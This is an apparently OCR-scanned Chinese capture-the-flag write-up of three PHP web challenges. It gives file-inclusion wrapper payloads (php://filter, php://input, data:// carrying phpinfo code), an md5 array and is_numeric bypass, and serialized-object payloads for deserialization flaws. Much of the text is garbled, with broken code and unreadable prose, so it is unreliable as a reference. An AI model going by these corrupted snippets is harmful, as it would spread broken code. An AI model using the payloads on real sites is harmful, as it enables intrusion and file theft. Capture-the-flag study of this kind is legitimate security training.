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T8 H A 2TE
<Iphp
$text = § GET["text”]:
$file = $_GET["file”],
Jpassword = $_GET["password”];
if(isset($text)bb(file_get_contents($text, r’ )==="welcome +to the =zjctf”)){
echo  “<bri<hl>”.file_get_contents($text, v ). "</hl1></br>",
if(preg_match(”/flag/”, $file)) {
echo  “Not now!”;
exit()
telsel
include ($file) ; [ /fuseless. phy
Jpassword = unserialize(3password);
echo  Jpassword:
)
]
elsel
} highlight_file(_FILE_);
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Hrtext®BEW2: text=welcome to the Zctf

% #linclude ($file) ; AR useless.phpit AT ZE Rfiles 1 i useless.php
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file:sd ==52 off/an oftfon

Hile=file//D./soft/phpStudy WWW./phpcode bt

php:/Hilter ==512 off/an offion Hile=php//filter/read=convert basebd-encode/resource= /index.php
php:/finput ==512 off/an an HMile=php/finput _ [POST DATA] =<?php phpinfo(?>
2ipf ==51 offfan offfon Hile=zip.//D:./soft/phpStudy WWW file ziph23phpeode bt
3 Hile=compress bap2//D./softohpStudy MWWW file bz2
comprees.bzip2/f ==52 off/an offfon lor]

Hile=compress. baip2.// file bz2

compress. b/ »=52 offfan offfon

Hile=compress.zlib.//D/soft/phpStudy MWW /Hile g2
[or]
Hile=compress zliby/ file.gz

el ==52 on on

Hile=data./Mtext/plain, < php phpinfa(?>
[or]
Hile=data./ text/plainbasebd PDOwaHAgcGhwaWsmbygpPad=
#Erkd
Hile=data text/plain, <?php phpinfa{)?=

lor] CS0 @FLEE i 7=
Mle=data t/olainbascid BT SAn A e

FrCABRANZE R Dy th U NI, st B #iE& payload

text=php://input

text=data://text/plain,welcome to the Zctf
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file=php://filter/read=convert.base64-encode/resource=useless.php
5 Fuseless.php
<?php
class Flag{ //flag.php
public $file;
public function __ tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}

}
?>
Include($file)E_ETf, fileffIpayload i [l f¥juseless.php
A iR password, password7EJEMRIGFFIH T RFFIL:
$password = unserialize($password);
BR] e 3R AT] 75 B2 password B TH KB #E4T 751 54k, Aipassword i {E & 2 2 *% useless.php
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ"),
}

}
$a = new Flag();

echo serialize($a);
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<?php

class Flag{ //flag.php
public $file="flag.php";

}

$a = new Flag();

echo serialize($a);

?>

& J& Hipayload i : ?text=data://text/plain,welcome to the zctf&file=useless.php&password=0:4:"Flag":1:
{s:4:"file";s:8:"flag.php";}

3 PHPAIR:
isset()RAWREBWE T, SANMTEERE T AFE, LARENRIFEN

file_get_contents()



file_get_contents(path,include_path,context,sta

rt, max_length)
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3T ]
111 put something in F12 for you
2 include ' flag. php ;
3| $flag="NRCTF {xxxxxxXXXXAXXAXXXXXXALLLXA} |
4| if(isset($_GET[ gg’ 1)&kisset(3_GET[ id 1)) {
5 $id=3_GET[ id 1,
6 $ee=3_GET[ ge’ 1.
7 if (md5($id) === md5(Jege) && 3id !== $ge) |
8 echo 'You got the first step ;
9 if(isset($_POST[ passwd 1)) |
10 $passwd=$_POST[ passwd’ ];
1 if (lis_numeric(§passwd))

13 if ($passwd==1234567)
{

15 echo ' Good Job! :
16 highlight file( flag.php’ ):
17 die(’ By Retr 07);

18 }

19 else

20 {

21 echo “can you think twice??”:
22 }

23 }

24 elee

25 echo "You can not get it !’

26 }

28 1

29 else |

30 : die(’only one way to get the flag' ):
31

32}

33 else {

34 gcho “You are not a real hacker!”;
35 )

36|}

37 else{

38 die(’Please input first’):

39}

40 }Please input first
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Pl posti) 7 RAEN, 3 HZE R Hf (lis_numeric($passwd)) i LhpostTs Hft A AR H o B K U 44 5 118
I H B 4123456774 it & nflag.php
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=/b=>
<hr />
S0 <br />
51 =h>
Warning
=/b=
: mdS( ) expects parameter 1tobe string, array givenin <b=
fvarfwww/htal/index . php
</b>
online <b=
48
</b>
<br /=
52 You got the first stepGood Job!=code>
=span style="color: #000000" =
53  «span style="color: #0000BB">&lt; Pphp<br />
&nbsp; &nbsp; &nbsp ) &nbsp; $flag</span>
=span style="color: #007700"===/span>
<span style="color: #DDO00O0"="fl ag{SecG-‘laBB-faﬂ2-4d15-94£?—9f364?905b93}?'<br' i
=/span>
=span style="color: #0000BB"=7&gt ; </span>
=/span>
55 =/code=
By Retr_0
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BEIE:

<?php

include("flag.php");

highlight_file(__FILE_);

class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {

$op = "1

$filename = "/tmp/tmpfile";



$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();

} else if($this->op == "2") {
$res = $this->read();
$this->output($res);

}else {

$this->output("Bad Hacker!");

}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
}else {

$this->output("Failed!");

}

private function read() {
$res = IIII;
if(isset($this->filename)) {

$res = file_get contents($this->filename);



return $res;

Y
private function output($s) {

echo "[Result]: <br>";

echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";

$this->content = ™"

$this->process|();

}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(1 (ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET({'str})) {
$str = (string)$_GET]['str];
if(is_valid($str)) {

$obj = unserialize($str);

}
BEAT ARG it
A R Lhgeti 75 iRz str, X EXstriE#AT T RFFIL, B B HFIR 5 B E 7 5140,
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<?php

class FLAG {
public $op =2;
public $filename = "flag.php";
public $content = "ABC",

}

$a = new FLAG();

$b = serialize($a);

echo $b;

>
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